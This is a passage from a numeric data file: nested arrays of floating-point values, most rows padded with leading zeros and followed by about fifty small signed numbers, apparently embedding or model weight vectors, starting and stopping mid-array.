0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.8013, 0.6367, -0.1311, -0.01283, -0.519, -1.464, -0.05225, 0.31, -0.3235, 0.4949, -0.313, -0.5903, -0.7134, 0.06085, -0.02222, -2.09, -0.2452, -0.04025, 0.2693, -0.111, -0.03003, 0.01317, 0.019, 2.264, 0.3872, 0.1947, -1.168, -0.03108, -1.03, 0.03134, -0.621, -0.2554, -0.1046, 0.08405, -0.78, 0.9834, 0.006954, -0.0389, 0.558, 0.0947, -1.792, 1.399, 0.3184, -0.05298, 0.2065, -0.335, 0.3337, -0.4968, -0.01949, 0.03406], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2764, 1.62, -1.181, 0.02888, 0.7437, -0.1091, -0.541, 0.4668, -0.6304, 0.686, 0.02124, 0.1714, 0.194, -0.12427, -0.03085, -0.2484, -0.2233, 0.087, 0.235, 0.954, 0.0889, 0.5977, 0.2046, 0.7056, -0.487, -0.31, -0.1721, 0.001309, 0.7764, 0.01614, 1.473, 0.5454, 0.4167, -0.01901, 1.497, 0.114, 0.0088, -0.03043, 0.2065, -0.2201, 0.01984, 0.7803, -0.2095, -0.2156, -0.304, -0.04962, -0.1818, -0.908, 0.02425, 0.1154], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.569, 0.74, -0.5864, 0.05206, 0.2908, 0.579, 0.000723, -0.1589, -0.884, 0.4822, 0.2312, -0.3655, -0.589, -0.0724, 0.008675, 0.1267, -0.51, 0.09973, 0.544, 0.00658, 0.1305, -0.2031, 1.369, -0.9463, 0.342, 0.03427, 0.873, -0.03864, 0.1061, -0.01228, -0.135, -0.1526, 0.3445, 0.1864, 1.019, -0.0996, -0.007538, -0.005165, -0.1688, 0.285, -0.5776, 0.2715, 0.2384, 0.1572, 0.4436, 0.118, 0.3062, 0.34, -0.0001267, 0.1254], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.771, 0.09204, 0.1517, 0.07684, -0.7793, 0.423, -0.6025, 0.1671, -1.328, 0.09314, 0.06305, -0.2197, -0.6777, -0.1929, 0.02548, 1.723, 0.774, 0.004684, -0.4856, 1.212, 0.1494, -0.8, -0.4905, 3.25, 0.2498, 0.5586, 1.391, -0.001424, -0.8716, 0.04694, -0.11835, -0.668, 0.2761, -0.8296, -0.619, -1.533, -0.003897, -0.006966, -0.9155, 0.467, -2.377, 0.0689, 2.004, -0.0369, 0.7046, -0.6113, 0.001434, -0.1782, 0.00863, 0.1426], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.982, 0.3052, -1.134, -0.02896, -1.266, -0.4778, 1.14, -0.4036, 0.455, -0.2428, -0.1407, -1.904, 0.998, -0.551, -0.02611, -1.968, -0.1732, -1.19, 0.7363, -1.38, 0.06323, 1.267, 0.4712, 0.3477, -0.2006, 0.9077, -1.678, -0.03897, -0.0148, -0.00904, -0.6914, 1.039, -0.7227, -0.8447, -0.01127, 0.26, -0.02563, 0.0433, 0.885, -0.4612, 0.2087, -0.1642, -0.4312, -0.294, -0.5513, -0.922, -0.01613, -0.7725, -0.03326, 0.04596], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3188, 0.09753, -0.4807, 0.006134, -0.02454, 1.218, -1.318, -0.407, 0.334, 0.1418, -0.1545, -0.346, 1.328, -0.6597, -0.03354, -1.47, 0.4458, -1.112, 0.2125, -0.921, 0.02399, 1.093, -0.4402, 0.0164, -0.4585, 0.7734, -1.07, 0.00506, 0.7515, -0.01273, -0.3564, -0.605, -2.066, 0.884, 0.1737, 0.2084, 0.02296, 0.0212, -0.178, -0.752, -0.72, 0.3723, 0.1489, -0.8047, 0.813, -1.079, -0.08734, -0.9883, -0.0426, 0.014084], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.2888, -0.0125, 0.9224, 0.00383, 1.461, -0.1304, -0.3728, 0.03098, -0.176, -0.4133, -0.2345, -0.1942, -0.224, -0.2057, 0.01718, 0.2114, -1.83, -0.0584, 0.2256, -0.1083, -0.0604, -0.05826, -0.2744, -0.3135, -0.5767, 0.0848, -0.5977, -0.02423, -0.2025, 0.03317, 0.808, 0.4675, -0.1108, 0.543, 0.2927, -0.2299, -0.01086, -0.03064, 0.01865, -0.7046, -0.2306, 0.2397, -0.59, -0.2201, 0.1417, 0.5474, -0.0594, 0.9224, -0.0376, -0.02277], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.397, -0.02774, -0.362, -0.04272, 0.719, -0.11774, 0.2522, -0.336, 0.2281, 0.0526, 0.0896, -0.962, 0.5547, 0.03195, 0.02081, -1.143, -0.501, -1.006, 0.2229, -0.6016, 0.03506, 0.817, -0.795, -0.421, 0.1351, 0.337, -0.222, -0.001239, 0.539, -0.03308, -0.3762, 0.11365, -0.125, 0.0925, 0.4321, -0.006203, 0.003113, 0.04987, 0.3389, -0.7446, -0.333, 0.3833, 0.3398, 0.02805, -0.2008, -1.035, -0.183, -1.321, -0.000195, 0.07916], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.724, -0.03156, 0.5454, 0.0766, -2.443, 0.2847, -0.699, -0.2905, -3.182, 0.4968, -0.1272, 0.447, -0.677, 0.1439, 0.04004, 2.793, 1.614, 0.1654, -1.2705, 2.527, 0.1862, -1.315, 1.818, 0.7856, -0.1755, -0.3425, 1.119, -0.03497, -0.3557, 0.001426, 0.6187, -0.3447, 0.01953, 1.187, 0.3616, -0.4797, -0.02292, -0.01491, -0.1451, 0.756, -0.799, 0.202, 0.2786, 0.512, 0.3086, 0.6606, 0.2, 1.001, -0.0015955, 0.1539], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1318, 0.688, -0.3445, 0.0785, 0.317, -0.08136, 1.163, -0.01617, -0.1816, -0.6323, -0.12103, 1.217, -0.08093, -0.1488, 0.03384, 3.264, 0.1105, -0.732, -0.4163, 1.426, 0.1442, -0.2659, -0.6, -2.236, -1.024, 0.2502, 0.176, 0.0367, 0.775, 0.006855, -0.4731, -2.148, 0.566, 0.4507, 2.346, 0.5435, 0.013115, 0.01744, 0.4404, -0.05316, 0.508, 0.1313, 0.291, 0.9053, -0.36, -0.523, -0.3386, 0.301, -0.01443, 0.10614], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.07745, 0.01473, 0.02406, 0.02338, 0.03075, -0.05185, 0.01562, 0.01, 0.00314, 0.06165, -0.03632, -0.043, -0.0914, -3.9e-05, -0.01328, -0.0689, 0.03513, 0.0408, 0.009186, 0.03012, 0.07495, 0.006992, 0.127, 0.05313, -0.03023, -0.0672, 0.00868, -0.04437, 0.07385, -0.0315, -0.01614, 0.04712, -0.002502, 0.02992, 0.0794, -0.00936, 0.03564, 0.03998, -0.05157, 0.00975, -0.02095, 0.002213, 0.003431, 0.03041, 0.007202, -0.0162, -0.014565, 0.11005, 0.01651, 0.11945], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3867, -0.1405, -0.1324, 0.1065, 0.1637, 0.05884, -0.04288, 0.55, 0.05188, 0.12427, 0.1907, -0.002985, -0.1449, -0.1615, 0.02045, -0.001439, -0.584, 0.06647, 0.3508, -0.166, 0.08496, 0.2301, 0.2883, 0.2542, -0.05344, -0.0568, -0.1646, -0.0216, 0.1478, -0.00949, 0.366, 0.3635, 0.3032, -0.1562, 0.0785, -0.0745, 0.04047, -0.01389, -0.307, -0.2051, 0.1307, -0.03482, -0.0825, 0.04865, 0.3604, -0.01842, 0.02138, -0.652, -0.03604, 0.1416], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.959, 0.2109, 0.2173, 0.08594, 0.3862, -0.2134, -0.233, -0.611, 1.088, -0.4106, 0.7935, -0.9976, -0.2443, 0.561, 0.03705, 0.0625, 0.575, 0.902, -0.2732, -0.579, 0.1114, -0.817, -0.339, -0.1648, 0.04135, 0.4387, -0.184, -0.03732, -0.1274, -0.02594, 0.492, -0.9136, 0.998, 0.06046, -0.1892, 0.3237, -0.02159, -0.01309, -0.628, -0.7344, 1.071, -0.1323, -0.1992, -0.03308, -0.4392, 0.015015, -0.2118, -0.0542, -0.006832, 0.1831], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.705, -0.6514, 0.924, 0.11334, -1.031, 1.29, 0.4382, 0.2898, -1.329, -0.2396, -0.1954, 0.463, -0.627, 0.07684, -0.000864, -1.657, 0.658, 2.041, 0.3833, -0.1554, 0.128, -0.2246, -0.577, -3.303, 0.19, -0.1497, 1.702, 0.014786, -0.4792, 0.0479, 0.4119, 1.107, -0.3613, 0.3545, 1.251, 0.292, -0.01721, -0.01805, -1.088, -0.3408, 0.3208, -0.189, 1.232, -0.02084, 0.6987, 0.02702, -0.6064, 1.776, -0.0421, 0.12415], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3523, -0.2003, -3.959, 0.0461, 0.03943, -0.2903, -0.386, -0.04837, -0.5557, 0.3127, -0.2396, 0.4102, -0.3035, -0.187, -0.02492, -0.422, -0.976, -0.03857, 0.2512, 0.521, 0.03516, -0.2988, -0.0551, -0.6167, 0.321, -0.3804, 0.2773, -0.00837, 0.517, -0.01542, 0.5825, 0.1891, -0.05182, -0.2145, -0.5146, 0.2062, -0.02827, -0.01337, 0.1305, 0.136, 0.73, 0.411, 0.385, 0.589, -0.1081, 0.1809, -0.1189, 0.7144, -0.0281, 0.004963], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.4473, -0.5776, 0.4978, 0.0154, -0.229, 0.00819, -1.215, -0.03403, 0.8315, -0.3638, 0.02711, -1.116, 1.094, 0.06616, -0.03668, -2.145, 0.556, -0.85, 0.205, -0.9526, 0.05765, 1.298, -0.4812, 0.8667, 0.3564, -0.985, 0.5356, -0.05676, 0.762, 0.003986, -1.814, -1.978, -0.2537, 0.4407, 0.726, 0.9746, -0.01221, 0.01733, -0.1824, -0.48, -0.485, -0.1721, 0.376, 0.05853, 0.05948, -1.145, -0.2917, -1.05, -0.01633, 0.0838], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.07214, -0.4138, -0.418, 0.03488, -0.8174, -0.3992, -0.5522, 0.2876, 0.1631, 0.002764, -0.04025, -0.2439, 0.02014, 0.2206, -0.03345, -0.3574, 1.04, 0.07184, -0.1997, -0.2842, -0.00935, 0.11096, -0.3262, -0.0441, 0.466, -0.4849, 0.0746, -0.0206, 0.014114, -0.03534, 0.2477, -0.906, 0.7754, -0.2864, 0.632, 0.0483, 0.01239, 0.0312, 0.1675, -0.0741, 0.2834, 0.804, 0.03546, -0.3845, 0.05334, 0.006775, 0.1362, 0.4475, 0.03818, -0.009674], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.639, 0.274, -0.8247, 0.06122, 0.508, -0.508, -0.66, 0.11334, 1.422, -0.7744, 0.05948, -0.3005, -0.3, -0.11774, -0.0462, -0.8916, 0.2532, -0.6978, 0.331, -0.5195, 0.1094, 0.3308, 0.00753, 2.781, -0.1595, -0.0111, -0.05194, 0.010254, 1.786, 0.02852, -0.469, -1.566, -0.2998, 0.09894, 0.04926, 0.4614, 0.0388, 0.03006, 0.7397, -0.545, 0.1373, 1.005, 0.6763, 0.6406, 0.923, 0.7607, 0.1521, 0.802, -0.0008626, 0.10864], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.598, 0.11865, -1.479, -0.03458, -1.107, 0.4846, -0.1069, -0.5664, 0.1625, -0.4954, 0.05365, -0.733, -0.12384, 0.1549, -0.03702, 0.5903, 0.6543, -7.27, 0.7124, -1.198, 0.05215, 0.565, 0.0138, 0.531, -0.841, -0.1664, 0.4082, 0.03041, -0.5127, 0.01108, -0.1724, 3.13, -0.007504, 0.1453, -0.3894, -0.566, -0.03033, -0.005474, -0.423, -2.193, -0.4968, 0.2622, -0.9785, -0.3284, -0.778, -0.515, 0.9883, -1.85, 0.03278, -0.03668], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0631, -0.4482, 1.552, 0.0835, 0.3413, 0.2837, 0.165, 0.1946, 0.1473, -0.583, 0.2961, -1.095, -0.6113, -0.557, 0.04578, 1.382, -0.0788, 0.9326, -0.425, -0.0756, 0.1422, -0.3892, -0.1592, 1.653, -0.0389, 0.7793, 0.993, 0.01448, -0.3477, -0.0135, 0.0822, 0.717, 0.6724, -0.0751, -0.9243, 0.3667, 0.03525, -0.02715, -0.1726, -0.3535, 1.578, -1.317, -2.166, 0.4182, -0.388, -1.083, -0.7134, -0.759, -0.005558, 0.1886], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.461, 0.94, 0.517, 0.05096, 0.2998, -0.5303, 0.626, 0.5024, -0.639, 1.331, -0.10266, 0.136, 0.1923, -0.0605, 0.0004008, 2.967, 0.9204, 0.7534, -0.6187, 2.326, 0.1235, -0.584, 0.732, 2.998, 0.4543, 0.5503, 0.291, 0.00706, 0.3425, -0.02005, 0.9233, -0.6436, 1.059, 0.0831, 0.3804, -1.72, -0.03793, 0.0334, -0.1056, 0.6064, -1.72, 0.561, -0.5586, 0.1239, 1.219, 0.1697, 0.568, 0.0638, 0.01375, 0.1118], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.329, -0.02751, 0.4097, -0.03735, 0.4358, 0.1637, 0.4211, -0.123, -0.1642, -0.1272, 0.003456, 0.379, -0.178, 0.303, 0.01865, 0.402, -0.5347, 0.3254, -0.097, -0.1278, 0.02133, -0.2074, 0.418, -0.1907, 0.416, -0.1235, 0.632, 0.02194, -0.2554, 0.04474, 0.634, -0.0715, 0.5073, -0.1687, -0.381, -0.0799, -0.03162, -0.0382, -0.2756, 0.2051, 0.2722, -0.1304, -0.0785, -0.03674, -0.3347, 0.4026, -0.2063, -0.3928, 0.02734, 0.005646], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.3198, 0.918, 0.3208, 0.048, -1.073, -0.1147, 0.4585, 0.3726, 1.126, 0.3408, 0.04993, -0.8955, -0.969, 0.092, 0.001146, -4.02, 0.10614, 0.2515, -0.03323, 0.628, 0.0833, -0.3782, -0.355, 3.975, -0.1576, 0.633, -0.1836, 0.01756, -0.511, 0.04358, -0.1178, -0.1389, 1.535, -0.5176, -0.983, -0.234, -0.001279, -0.001356, 0.49, 0.2401, -0.2179, -0.2866, -0.0582, -0.8594, -0.4126, -1.061, 0.2822, -0.2534, 0.004383, 0.1278], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.3, 0.04718, -0.627, 0.0779, 0.8813, 0.3623, -0.1769, -0.306, 0.2903, 0.857, -0.7256, 0.316, -0.3801, 0.01406, -0.00441, 0.211, 0.0184, 0.2186, 0.3496, -0.0326, 0.1589, 0.334, 0.3372, -0.3433, 0.4397, -0.2102, 0.2588, 0.01468, -0.2966, 0.02887, 0.7134, -1.897, 0.0889, 0.2717, -0.4827, 0.1625, 0.01016, 0.0146, 0.0828, 0.3208, -0.09375, -0.093, 0.211, 0.8804, 0.0002768, -0.3499, 1.111, -1.228, -0.01096, 0.126], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 2.762, -0.0769, 0.3918, 0.02225, 1.055, 0.3757, 0.7837, 0.5815, 1.286, 0.5083, -0.06046, 0.592, -0.01334, -0.23, -0.0011835, 1.896, 0.927, 2.42, -0.9287, 0.4998, 0.1508, -0.648, 1.37, 1.049, -1.796, -0.2074, 2.578, 0.01079, 1.527, -0.0113, 0.04773, -0.6416, 0.7695, 0.4397, -0.06586, 0.05438, 0.0248, 0.0315, -0.722, -0.8613, -0.007904, -1.263, -0.11554, -0.010605, -0.877, 0.449, 0.342, -2.744, -0.005905, 0.1349], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.785, -0.1925, 0.576, -0.02957, 0.8516, -0.3372, 0.45, 0.2249, -0.9604, 0.1362, 0.08575, -0.07336, -0.2637, 0.2288, 0.04236, -0.2047, -1.348, 0.7305, -0.3242, -0.2837, -0.0058, -0.6055, 0.0825, -1.114, -0.1248, 0.1946, 0.1848, 0.00529, 0.704, -0.04233, 0.3643, -0.258, 0.4006, -0.04034, 0.238, 0.06915, 0.02861, -0.02705, -0.444, -0.02873, -0.0707, -0.9375, -0.84, -0.55, -0.3923, -0.4563, -0.1453, 0.5537, 0.00957, -0.015465], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.34, -0.3486, -0.1803, -0.03256, -0.0376, -0.344, -0.2617, 0.02649, -0.2205, -0.03867, -0.1172, -0.1372, 0.0871, 0.2554, 0.01965, -0.3257, -0.3928, -0.03049, 0.1155, 0.09296, -0.0625, 0.091, -0.3586, 0.1926, 0.1704, -0.0754, 0.3545, -0.0396, 0.02327, 0.04117, -0.6553, 0.5938, 0.2742, -0.1582, 0.0181, 0.2448, -0.000293, -0.02481, -0.2051, -0.37, -0.1002, -0.3162, 0.546, 0.052, 0.0809, -0.11194, -0.183, -0.1039, 0.01155, 0.001705], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0726, 0.1191, 0.1159, 0.02031, 0.1646, 0.2683, 0.01195, 0.05627, -0.2505, -0.531, 0.1501, 1.047, -0.3975, -0.1573, -0.00582, 0.8247, 0.1993, 0.3337, -0.212, -0.448, 0.05054, -0.571, -0.2808, -0.787, -0.1267, 0.06946, 0.2089, 0.02142, -0.2837, 0.01976, 0.2211, -0.781, 0.3718, 0.2993, -0.367, -0.686, -0.02765, -0.02232, -0.23, 0.3823, -0.339, 0.1274, 0.1427, -0.03525, 0.1776, 0.3035, -0.08636, -0.02357, -0.00773, 0.0125], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 